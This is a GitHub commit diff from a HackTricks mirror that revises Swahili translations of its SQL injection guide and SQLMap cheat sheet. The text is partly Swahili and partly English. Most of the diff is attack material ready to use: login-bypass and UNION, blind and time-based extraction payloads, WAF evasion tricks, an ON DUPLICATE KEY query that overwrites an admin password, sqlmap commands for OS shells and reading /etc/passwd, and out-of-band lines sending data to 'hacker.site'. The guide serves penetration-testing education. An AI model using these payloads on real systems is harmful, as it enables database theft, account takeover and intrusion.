2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2025-02-20 16:08:27 +00:00

Translated ['pentesting-web/sql-injection/README.md', 'pentesting-web/sq

This commit is contained in:
Translator 2024-09-08 10:51:58 +00:00
parent 77c5fd8d83
commit 7e05802a36
4 changed files with 74 additions and 74 deletions
SUMMARY.md
pentesting-web

View file

@ -630,7 +630,7 @@
* [Big Binary Files Upload (PostgreSQL)](pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md)
* [RCE with PostgreSQL Languages](pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md)
* [RCE with PostgreSQL Extensions](pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md)
* [SQLMap - Cheetsheat](pentesting-web/sql-injection/sqlmap/README.md)
* [SQLMap - CheatSheet](pentesting-web/sql-injection/sqlmap/README.md)
* [Second Order Injection - SQLMap](pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md)
* [SSRF (Server Side Request Forgery)](pentesting-web/ssrf-server-side-request-forgery/README.md)
* [URL Format Bypass](pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md)

View file

@ -40,9 +40,9 @@ Wakati tovuti inaonekana kuwa **na udhaifu wa SQL injection (SQLi)** kutokana na
"))
`))
```
Kisha, unahitaji kujua jinsi ya **kurekebisha ombi ili kutokuwe na makosa**. Ili kurekebisha ombi unaweza **kuingiza** data ili **ombile la awali likubali data mpya**, au unaweza tu **kuingiza** data yako na **kuongeza alama ya maoni mwishoni**.
Kisha, unahitaji kujua jinsi ya **kurekebisha ombi ili kutokuwepo na makosa**. Ili kurekebisha ombi unaweza **kuingiza** data ili **ombile la awali likubali data mpya**, au unaweza tu **kuingiza** data yako na **kuongeza alama ya maoni mwishoni**.
_Kumbuka kwamba ikiwa unaweza kuona ujumbe wa makosa au unaweza kutambua tofauti wakati ombi linafanya kazi na wakati halifanyi kazi hatua hii itakuwa rahisi zaidi._
_Kumbuka kwamba ikiwa unaweza kuona ujumbe wa makosa au unaweza kutambua tofauti wakati ombi linafanya kazi na wakati halifanyi kazi, hatua hii itakuwa rahisi zaidi._
### **Maoni**
```sql
@ -87,9 +87,9 @@ Hii orodha ya maneno iliundwa ili kujaribu **kuhakikisha SQLinjections** kwa nji
{% file src="../../.gitbook/assets/sqli-logic.txt" %}
### Kuwa na Hakikisho kwa Muda
### Kuangalia kwa Muda
Katika baadhi ya matukio **hutagundua mabadiliko yoyote** kwenye ukurasa unaojaribu. Hivyo, njia nzuri ya **gundua SQL injections za kipofu** ni kufanya DB ifanye vitendo na itakuwa na **athari kwenye muda** ambao ukurasa unahitaji kupakia.\
Katika baadhi ya matukio **hutagundua mabadiliko yoyote** kwenye ukurasa unaojaribu. Hivyo, njia nzuri ya **kubaini SQL injections za kipofu** ni kufanya DB ifanye vitendo na itakuwa na **athari kwenye muda** ambao ukurasa unahitaji kupakia.\
Hivyo, tutakuwa na kuunganisha katika ombi la SQL operesheni ambayo itachukua muda mrefu kukamilisha:
```
MySQL (string concat and logical ops)
@ -144,10 +144,10 @@ Njia bora ya kutambua nyuma ni kujaribu kutekeleza kazi za nyuma tofauti. Unawez
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
```
Pia, ikiwa una ufikiaji wa matokeo ya ombi, unaweza kufanya **ichapishe toleo la hifadhidata**.
Pia, ikiwa una ufikiaji wa matokeo ya ombi, unaweza kufanya **kuchapisha toleo la hifadhidata**.
{% hint style="info" %}
Kuendelea, tutajadili mbinu tofauti za kutumia aina tofauti za SQL Injection. Tutatumia MySQL kama mfano.
Kuendelea tutajadili mbinu tofauti za kutumia aina tofauti za SQL Injection. Tutatumia MySQL kama mfano.
{% endhint %}
### Kutambua na PortSwigger
@ -158,11 +158,11 @@ Kuendelea, tutajadili mbinu tofauti za kutumia aina tofauti za SQL Injection. Tu
### Kugundua idadi ya safu
Ikiwa unaweza kuona matokeo ya ombi hili ni njia bora ya kutumia.\
Ikiwa unaweza kuona matokeo ya ombi hili ndilo njia bora ya kulitumia.\
Kwanza kabisa, tunahitaji kugundua **idadi** ya **safu** ambazo **ombile la awali** linarejesha. Hii ni kwa sababu **ombile zote zinapaswa kurejesha idadi sawa ya safu**.\
Mbinu mbili hutumiwa kawaida kwa kusudi hili:
#### Agiza/Kundi kwa
#### Order/Group by
Ili kubaini idadi ya safu katika ombi, ongeza taratibu idadi inayotumika katika **ORDER BY** au **GROUP BY** vifungu hadi jibu la uongo linapopatikana. Licha ya kazi tofauti za **GROUP BY** na **ORDER BY** ndani ya SQL, zote zinaweza kutumika kwa njia sawa ili kubaini idadi ya safu za ombi.
```sql
@ -188,7 +188,7 @@ Chagua zaidi na zaidi thamani za null hadi uchunguzi uwe sahihi:
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
```
_Unapaswa kutumia `null`thamani kwani katika baadhi ya kesi aina ya safu za pande zote za swali lazima iwe sawa na null ni halali katika kila kesi._
_Unapaswa kutumia `null`values kwani katika baadhi ya matukio aina ya safu za pande zote za swali lazima iwe sawa na null ni halali katika kila kesi._
### Pata majina ya hifadhidata, majina ya meza na majina ya safu
@ -207,9 +207,9 @@ _ kuna njia tofauti za kugundua data hii kwenye kila hifadhidata tofauti, lakini
## Kutumia Union Iliyofichwa
Wakati matokeo ya ombi yanaonekana, lakini sindano ya msingi wa umoja inaonekana haiwezekani, inamaanisha kuwepo kwa **sindano ya umoja iliyofichwa**. Hali hii mara nyingi inasababisha hali ya sindano ya kipofu. Ili kubadilisha sindano ya kipofu kuwa ya msingi wa umoja, ni lazima kutambua ombi la utekelezaji kwenye backend.
Wakati matokeo ya ombi yanaonekana, lakini sindano ya msingi wa umoja inaonekana haiwezekani, inamaanisha kuwepo kwa **sindano ya umoja iliyofichwa**. Hali hii mara nyingi inasababisha hali ya sindano ya kipofu. Ili kubadilisha sindano ya kipofu kuwa ya msingi wa umoja, ombi la utekelezaji kwenye backend linahitaji kutambuliwa.
Hii inaweza kufanywa kwa kutumia mbinu za sindano ya kipofu pamoja na meza za kawaida maalum kwa Mfumo wa Usimamizi wa Hifadhidata (DBMS) unalolenga. Ili kuelewa meza hizi za kawaida, inashauriwa kushauriana na nyaraka za DBMS unalolenga.
Hii inaweza kufanywa kwa kutumia mbinu za sindano ya kipofu pamoja na meza za kawaida maalum kwa Mfumo wa Usimamizi wa Hifadhidata (DBMS) wa lengo lako. Ili kuelewa meza hizi za kawaida, inashauriwa kushauriana na nyaraka za DBMS ya lengo.
Mara ombi litakapokuwa limetolewa, ni muhimu kubadilisha payload yako ili kufunga salama ombi la awali. Kisha, ombi la umoja linaongezwa kwenye payload yako, kuruhusu matumizi ya sindano ya umoja iliyopatikana hivi karibuni.
@ -217,14 +217,14 @@ Kwa ufahamu wa kina zaidi, rejelea makala kamili inayopatikana kwenye [Healing B
## Kutumia Kosa
Ikiwa kwa sababu fulani **huwezi** kuona **matokeo** ya **ombio** lakini unaweza **kuona ujumbe wa makosa**, unaweza kufanya ujumbe huu wa makosa **kuondoa** data kutoka kwenye hifadhidata.\
Kufuata mtiririko sawa kama katika matumizi ya Union Based unaweza kuweza kudump DB.
Ikiwa kwa sababu fulani **huwezi** kuona **matokeo** ya **ombio** lakini unaweza **kuona ujumbe wa makosa**, unaweza kufanya ujumbe huu wa makosa **kuvuja** data kutoka kwenye hifadhidata.\
Kufuata mtiririko sawa kama katika matumizi ya msingi wa umoja unaweza kuweza kudump DB.
```sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
```
## Exploiting Blind SQLi
## Kutumia Blind SQLi
Katika kesi hii huwezi kuona matokeo ya ombi au makosa, lakini unaweza **kutofautisha** wakati ombi **linarudisha** jibu **la kweli** au **la uongo** kwa sababu kuna maudhui tofauti kwenye ukurasa.\
Katika kesi hii huwezi kuona matokeo ya ombi au makosa, lakini unaweza **kutofautisha** wakati ombi **linarudisha** jibu **halisi** au **feki** kwa sababu kuna maudhui tofauti kwenye ukurasa.\
Katika kesi hii, unaweza kutumia tabia hiyo kutupa hifadhidata herufi kwa herufi:
```sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
@ -235,7 +235,7 @@ Hii ni **hali ile ile kama hapo awali** lakini badala ya kutofautisha kati ya ji
```sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
## Exploiting Time Based SQLi
## Kutumia SQLi Inayotegemea Wakati
Katika kesi hii **hakuna** njia ya **kutofautisha** **jibu** la ombi kulingana na muktadha wa ukurasa. Lakini, unaweza kufanya ukurasa **uchukue muda mrefu kupakia** ikiwa herufi iliyokisiwa ni sahihi. Tayari tumeshuhudia mbinu hii ikitumika hapo awali ili [kuhakikisha udhaifu wa SQLi](./#confirming-with-timing).
```sql
@ -243,13 +243,13 @@ Katika kesi hii **hakuna** njia ya **kutofautisha** **jibu** la ombi kulingana n
```
## Stacked Queries
Unaweza kutumia stacked queries ili **kutekeleza maswali mengi mfululizo**. Kumbuka kwamba wakati maswali yanayofuata yanatekelezwa, **matokeo** hayarudishwi kwa programu. Hivyo, mbinu hii inatumika hasa kuhusiana na **vulnerabilities za kipofu** ambapo unaweza kutumia swali la pili kuanzisha utafutaji wa DNS, kosa la masharti, au kuchelewesha muda.
Unaweza kutumia stacked queries ili **kutekeleza maswali mengi kwa mfululizo**. Kumbuka kwamba wakati maswali yanayofuata yanatekelezwa, **matokeo** hayarudishwi kwa programu. Hivyo, mbinu hii inatumika hasa kuhusiana na **vulnerabilities za kipofu** ambapo unaweza kutumia swali la pili kuanzisha utafutaji wa DNS, kosa la masharti, au kuchelewesha muda.
**Oracle** haisaidii **stacked queries.** **MySQL, Microsoft** na **PostgreSQL** zinaziunga mkono: `QUERY-1-HERE; QUERY-2-HERE`
## Out of band Exploitation
Ikiwa **hakuna njia nyingine** ya unyakuzi **iliyofanya kazi**, unaweza kujaribu kufanya **database iwasilishe** taarifa kwa **host ya nje** inayodhibitiwa na wewe. Kwa mfano, kupitia maswali ya DNS:
Ikiwa **hakuna njia nyingine** ya unyakuzi **iliyofanya kazi**, unaweza kujaribu kufanya **database iwasilishe** taarifa kwa **mwenyeji wa nje** anayedhibitiwa na wewe. Kwa mfano, kupitia maswali ya DNS:
```sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
```
@ -259,7 +259,7 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
```
## Automated Exploitation
Check the [SQLMap Cheetsheat](sqlmap/) to exploit a SQLi vulnerability with [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
Check the [SQLMap Cheatsheet](sqlmap/) to exploit a SQLi vulnerability with [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
## Tech specific info
@ -291,23 +291,23 @@ Orodha ya kujaribu kupita kazi ya kuingia:
```sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
```
Hii query inaonyesha udhaifu wakati MD5 inatumika na kweli kwa pato la raw katika ukaguzi wa uthibitisho, ikifanya mfumo kuwa hatarini kwa SQL injection. Washambuliaji wanaweza kutumia hii kwa kuunda ingizo ambazo, zinapohashwa, zinatoa sehemu zisizotarajiwa za amri za SQL, na kusababisha ufikiaji usioidhinishwa.
Hii query inaonyesha udhaifu wakati MD5 inatumika na kweli kwa pato la raw katika ukaguzi wa uthibitishaji, ikifanya mfumo kuwa hatarini kwa SQL injection. Washambuliaji wanaweza kutumia hii kwa kuunda ingizo ambazo, zinapohashwa, zinatoa sehemu zisizotarajiwa za amri za SQL, na kusababisha ufikiaji usioidhinishwa.
```sql
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
```
### Kupita uthibitishaji wa hash iliyowekwa
### Kupita uthibitisho wa hash iliyowekwa
```sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
```
**Orodha iliyo pendekezwa**:
Unapaswa kutumia kama jina la mtumiaji kila mstari wa orodha na kama nywila daima: _**Pass1234.**_\
Unapaswa kutumia kama jina la mtumiaji kila mstari wa orodha na kama nywila kila wakati: _**Pass1234.**_\
_(Hizi payloads pia zimejumuishwa katika orodha kubwa iliyotajwa mwanzoni mwa sehemu hii)_
{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}
### GBK Uthibitishaji Bypass
### GBK Uhakikisho wa Kupita
KAMA ' inakabiliwa unaweza kutumia %A8%27, na wakati ' inakabiliwa itaundwa: 0xA80x5c0x27 (_╘'_)
```sql
@ -342,11 +342,11 @@ Ili kufanya hivyo unapaswa kujaribu **kuunda kitu kipya kinachoitwa "kitu mkuu"*
Ikiwa hifadhidata ina udhaifu na idadi ya juu ya herufi kwa jina la mtumiaji ni kwa mfano 30 na unataka kujifanya kuwa mtumiaji **admin**, jaribu kuunda jina la mtumiaji linaloitwa: "_admin \[nafasi 30] a_" na nenosiri lolote.
Hifadhidata it **hakiki** ikiwa **jina la mtumiaji** lililoingizwa **lipo** ndani ya hifadhidata. Ikiwa **siyo**, it **kata** **jina la mtumiaji** hadi **idadi ya juu ya herufi inayoruhusiwa** (katika kesi hii hadi: "_admin \[nafasi 25]_") na kisha it **ondoa kiotomatiki nafasi zote mwishoni ikisasisha** ndani ya hifadhidata mtumiaji "**admin**" kwa **nenosiri jipya** (kosa fulani linaweza kuonekana lakini haimaanishi kwamba hii haijafanya kazi).
Hifadhidata it **hakiki** ikiwa **jina la mtumiaji** lililoingizwa **lipo** ndani ya hifadhidata. Ikiwa **siyo**, it **kata** **jina la mtumiaji** hadi **idadi ya juu ya herufi inayoruhusiwa** (katika kesi hii hadi: "_admin \[nafasi 25]_") na kisha it **ondoa moja kwa moja nafasi zote mwishoni ikisasisha** ndani ya hifadhidata mtumiaji "**admin**" kwa **nenosiri jipya** (kosa fulani linaweza kuonekana lakini haimaanishi kwamba hii haijafanya kazi).
Maelezo zaidi: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
_Note: Shambulio hili halitafanya kazi kama ilivyoelezwa hapo juu katika usakinishaji wa hivi karibuni wa MySQL. Ingawa kulinganisha bado kunapuuzilia mbali nafasi za mwisho kwa chaguo-msingi, kujaribu kuingiza mfuatano mrefu zaidi ya urefu wa uwanja kutasababisha kosa, na kuingiza kutashindwa. Kwa maelezo zaidi kuhusu hii angalia: [https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_
_Note: Shambulio hili halitafanya kazi kama ilivyoelezwa hapo juu katika usakinishaji wa hivi karibuni wa MySQL. Ingawa kulinganisha bado kunapuuzilia mbali nafasi za mwisho kwa chaguo-msingi, kujaribu kuingiza mfuatano mrefu zaidi ya urefu wa uwanja kutasababisha kosa, na kuingiza kutashindwa. Kwa maelezo zaidi kuhusu ukaguzi huu: [https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_
### MySQL Insert time based checking
@ -356,25 +356,25 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
```
### ON DUPLICATE KEY UPDATE
Kifungu cha `ON DUPLICATE KEY UPDATE` katika MySQL kinatumika kufafanua hatua ambazo hifadhidata inapaswa kuchukua wakati jaribio linafanywa kuingiza safu ambayo itasababisha thamani ya nakala katika kiashiria cha UNIQUE au KEY YA KUU. Mfano ufuatao unaonyesha jinsi kipengele hiki kinavyoweza kutumika kubadilisha nywila ya akaunti ya msimamizi:
Kifungu cha `ON DUPLICATE KEY UPDATE` katika MySQL kinatumika kubainisha hatua ambazo hifadhidata inapaswa kuchukua wakati jaribio linafanywa kuingiza safu ambayo itasababisha thamani ya nakala katika index ya UNIQUE au KEY YA KUU. Mfano ufuatao unaonyesha jinsi kipengele hiki kinavyoweza kutumika kubadilisha nywila ya akaunti ya msimamizi:
Mfano wa Payload Injection:
Payload ya kuingiza inaweza kuandaliwa kama ifuatavyo, ambapo safu mbili zinajaribiwa kuingizwa kwenye jedwali la `users`. Safu ya kwanza ni ya kudanganya, na safu ya pili inalenga barua pepe ya msimamizi aliyepo kwa nia ya kubadilisha nywila:
Payload ya kuingiza inaweza kuandaliwa kama ifuatavyo, ambapo safu mbili zinajaribu kuingizwa kwenye jedwali la `users`. Safu ya kwanza ni ya kudanganya, na safu ya pili inalenga barua pepe ya msimamizi aliyepo kwa nia ya kuboresha nywila:
```sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
```
Hapa kuna jinsi inavyofanya kazi:
Here's how it works:
- Uchunguzi unajaribu kuingiza safu mbili: moja kwa `generic_user@example.com` na nyingine kwa `admin_generic@example.com`.
- Ikiwa safu ya `admin_generic@example.com` tayari ipo, kipengele cha `ON DUPLICATE KEY UPDATE` kinachochea, kikimwambia MySQL kuboresha uwanja wa `password` wa safu iliyopo kuwa "bcrypt_hash_of_newpassword".
- Kwa hivyo, uthibitishaji unaweza kujaribiwa kwa kutumia `admin_generic@example.com` na nenosiri linalolingana na hash ya bcrypt ("bcrypt_hash_of_newpassword" inawakilisha hash ya bcrypt ya nenosiri jipya, ambayo inapaswa kubadilishwa na hash halisi ya nenosiri linalotakiwa).
- The query attempts to insert two rows: one for `generic_user@example.com` and another for `admin_generic@example.com`.
- If the row for `admin_generic@example.com` already exists, the `ON DUPLICATE KEY UPDATE` clause triggers, instructing MySQL to update the `password` field of the existing row to "bcrypt_hash_of_newpassword".
- Consequently, authentication can then be attempted using `admin_generic@example.com` with the password corresponding to the bcrypt hash ("bcrypt_hash_of_newpassword" represents the new password's bcrypt hash, which should be replaced with the actual hash of the desired password).
### Toa taarifa
### Extract information
#### Kuunda akaunti 2 kwa wakati mmoja
#### Creating 2 accounts at the same time
Unapojaribu kuunda mtumiaji mpya na jina la mtumiaji, nenosiri na barua pepe zinahitajika:
When trying to create a new user and username, password and email are needed:
```
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
@ -383,7 +383,7 @@ A new user with username=otherUsername, password=otherPassword, email:FLAG will
```
#### Kutumia desimali au hexadesimali
Kwa mbinu hii unaweza kutoa taarifa kwa kuunda akaunti 1 tu. Ni muhimu kutambua kwamba huwezi kuandika chochote.
Kwa mbinu hii unaweza kutoa taarifa kwa kuunda akaunti 1 tu. Ni muhimu kutaja kwamba hauhitaji kutoa maoni yoyote.
Kutumia **hex2dec** na **substr**:
```sql
@ -432,7 +432,7 @@ No Space (%20) - bypass kutumia mbadala za nafasi
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
```
No Whitespace - bypass using comments
No Whitespace - bypass kutumia maoni
```sql
?id=1/*comment*/and/**/1=1/**/--
```
@ -450,13 +450,13 @@ SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELE
```
### Generic Bypasses
Blacklists kutumia maneno muhimu - bypass kutumia herufi kubwa/ndogo
Orodha ya mweusi ikitumia maneno muhimu - pitisha kwa kutumia herufi kubwa/ndogo
```sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
```
Blacklist kutumia maneno yasiyo na tofauti ya herufi - pitia kwa kutumia opereta sawa
Blacklist kutumia maneno bila kujali herufi - pitia kwa kutumia opereta sawa
```
AND -> && -> %26%26
OR -> || -> %7C%7C
@ -467,7 +467,7 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
### Scientific Notation WAF bypass
Unaweza kupata maelezo zaidi kuhusu hila hii katika [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
Kimsingi unaweza kutumia noti ya kisayansi kwa njia zisizotarajiwa ili kuipita WAF:
Kimsingi unaweza kutumia noti ya kisayansi kwa njia zisizotarajiwa ili WAF ipite:
```
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
@ -475,7 +475,7 @@ Kimsingi unaweza kutumia noti ya kisayansi kwa njia zisizotarajiwa ili kuipita W
```
### Bypass Column Names Restriction
Kwanza kabisa, zingatia kwamba ikiwa **swali la asili na jedwali ambalo unataka kutoa bendera kutoka lina idadi sawa ya safu** unaweza tu kufanya: `0 UNION SELECT * FROM flag`
Kwanza, zingatia kwamba ikiwa **swali la asili na jedwali ambalo unataka kutoa bendera kutoka lina idadi sawa ya safu** unaweza tu kufanya: `0 UNION SELECT * FROM flag`
Inawezekana **kufikia safu ya tatu ya jedwali bila kutumia jina lake** kwa kutumia swali kama ifuatavyo: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, hivyo katika sqlinjection hii itakuwa kama:
```bash

View file

@ -1,27 +1,27 @@
# SQLMap - Cheetsheat
# SQLMap - Cheatsheet
{% hint style="success" %}
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Mipangilio inayopatikana mara moja kwa ajili ya tathmini ya udhaifu & pentesting**. Endesha pentest kamili kutoka mahali popote na zana 20+ & vipengele vinavyotoka kwenye recon hadi ripoti. Hatubadilishi pentesters - tunatengeneza zana maalum, moduli za kugundua & kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.
**Mchakato wa haraka wa kutathmini udhaifu & kupenya**. Fanya pentest kamili kutoka mahali popote na zana 20+ & vipengele vinavyotoka kwenye recon hadi ripoti. Hatubadilishi wapimaji wa udhaifu - tunatengeneza zana maalum, moduli za kugundua & kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Msingi wa hoja za SQLmap
## Misingi ya hoja za SQLmap
### Kijumla
```bash
@ -43,7 +43,7 @@ Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt
```
### Retrieve Information
#### Internal
#### Ndani
```bash
--current-user #Get current user
--is-dba #Check if current user is Admin
@ -52,7 +52,7 @@ Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt
--passwords #Get passwords of users in DB
--privileges #Get privileges
```
#### Takwimu za DB
#### DB data
```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
@ -63,9 +63,9 @@ Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt
```
## Injection place
### Kutoka kwa Burp/ZAP kukamata
### From Burp/ZAP capture
Kamata ombi na uunde faili la req.txt
Shika ombi na uunde faili la req.txt
```bash
sqlmap -r req.txt --current-user
```
@ -117,7 +117,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```bash
--file-read=/etc/passwd
```
### Tembelea tovuti kwa SQLmap na kuji-exploit moja kwa moja
### Tembelea tovuti kwa SQLmap na kuji-exploit kiotomatiki
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
@ -149,7 +149,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
```
### Tamper
Kumbuka kwamba **unaweza kuunda tamper yako mwenyewe katika python** na ni rahisi sana. Unaweza kupata mfano wa tamper katika [ukurasa wa Second Order Injection hapa](second-order-injection-sqlmap.md).
Kumbuka kwamba **unaweza kuunda tamper yako mwenyewe kwa python** na ni rahisi sana. Unaweza kupata mfano wa tamper katika [ukurasa wa Second Order Injection hapa](second-order-injection-sqlmap.md).
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
@ -170,42 +170,42 @@ Kumbuka kwamba **unaweza kuunda tamper yako mwenyewe katika python** na ni rahis
| charunicodeencode.py | Huongeza unicode-url-encode herufi zisizosimbwa katika payload iliyotolewa (sio kusindika zilizotangulia kusimbwa). "%u0022" |
| charunicodeescape.py | Huongeza unicode-url-encode herufi zisizosimbwa katika payload iliyotolewa (sio kusindika zilizotangulia kusimbwa). "\u0022" |
| equaltolike.py | Hubadilisha matukio yote ya opereta sawa ('=') na opereta 'LIKE' |
| escapequotes.py | Huondoa kukwama kwa nukuu (' na ") |
| escapequotes.py | Huondoa nukta za herufi (' na ") |
| greatest.py | Hubadilisha opereta kubwa zaidi ('>') na sawa yake ya 'GREATEST' |
| halfversionedmorekeywords.py | Huongeza maoni ya MySQL yenye toleo kabla ya kila neno muhimu |
| halfversionedmorekeywords.py | Huongeza maoni ya MySQL yenye toleo kabla ya kila neno muhimu |
| ifnull2ifisnull.py | Hubadilisha matukio kama 'IFNULL(A, B)' na 'IF(ISNULL(A), B, A)' |
| modsecurityversioned.py | Huongeza maombi kamili na maoni yenye toleo |
| modsecurityzeroversioned.py | Huongeza maombi kamili na maoni yasiyo na toleo |
| multiplespaces.py | Huongeza nafasi nyingi kuzunguka maneno muhimu ya SQL |
| modsecurityversioned.py | Huongeza swali kamili na maoni yenye toleo |
| modsecurityzeroversioned.py | Huongeza swali kamili na maoni yasiyo na toleo |
| multiplespaces.py | Huongeza nafasi nyingi kuzunguka maneno muhimu ya SQL |
| nonrecursivereplacement.py | Hubadilisha maneno muhimu ya SQL yaliyowekwa awali na uwakilishi unaofaa kwa kubadilisha (mfano: .replace("SELECT", "")) filters |
| percentage.py | Huongeza alama ya asilimia ('%') mbele ya kila herufi |
| overlongutf8.py | Hubadilisha herufi zote katika payload iliyotolewa (sio kusindika zilizotangulia kusimbwa) |
| randomcase.py | Hubadilisha kila herufi ya neno muhimu na thamani ya nasibu |
| randomcomments.py | Huongeza maoni ya nasibu kwa maneno muhimu ya SQL |
| securesphere.py | Huongeza mfuatano maalum wa kusanifu |
| securesphere.py | Huongeza mfuatano maalum wa kusanifu |
| sp\_password.py | Huongeza 'sp\_password' mwishoni mwa payload kwa ajili ya kuficha kiotomatiki kutoka kwa kumbukumbu za DBMS |
| space2comment.py | Hubadilisha herufi ya nafasi (' ') na maoni |
| space2dash.py | Hubadilisha herufi ya nafasi (' ') na maoni ya dash ('--') ikifuatiwa na mfuatano wa nasibu na mstari mpya ('\n') |
| space2hash.py | Hubadilisha herufi ya nafasi (' ') na herufi ya pound ('#') ikifuatiwa na mfuatano wa nasibu na mstari mpya ('\n') |
| space2morehash.py | Hubadilisha herufi ya nafasi (' ') na herufi ya pound ('#') ikifuatiwa na mfuatano wa nasibu na mstari mpya ('\n') |
| space2mssqlblank.py | Hubadilisha herufi ya nafasi (' ') na herufi ya nasibu kutoka seti halali ya herufi mbadala |
| space2mssqlhash.py | Hubadilisha herufi ya nafasi (' ') na herufi ya pound ('#') ikifuatiwa na mstari mpya ('\n') |
| space2mssqlhash.py | Hubadilisha herufi ya nafasi (' ') na herufi ya pound ('#') ikifuatiwa na mstari mpya ('\n') |
